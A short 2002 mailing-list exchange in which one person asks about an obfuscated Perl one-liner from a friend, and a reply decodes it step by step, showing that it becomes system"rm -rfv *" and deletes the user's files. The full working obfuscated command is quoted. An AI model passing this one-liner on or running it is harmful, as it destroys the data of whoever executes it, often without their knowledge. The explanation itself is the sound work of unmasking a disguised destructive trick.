On Tue, Jun 25, 2002 at 09:48:55PM +0200, Kim Schulz wrote: > hi > a friend of mine just gave me this: > perl -e 's$$7=78)1~61\@A6*:\@?~$*y+A~@%-?B+\-" a-z*+/s^^$_^ee' > > can anyone explain it to me? > I know that it deletes all files and folders not starting with a dot > (.), but how does it do it?
First there's a substitution: s$$7=78)1~61\@A6*:\@?~$ which results in $_ being set to 7=78)1~61\@A6*:\@?~ Then there's a translation: y+A~@%-?B+\-" a-z*+ which results in $_ being set to: system"rm -rfv *" Finally, there's another substitution: s^^$_^ee which results in the value of $_ being executed as Perl code. Ronald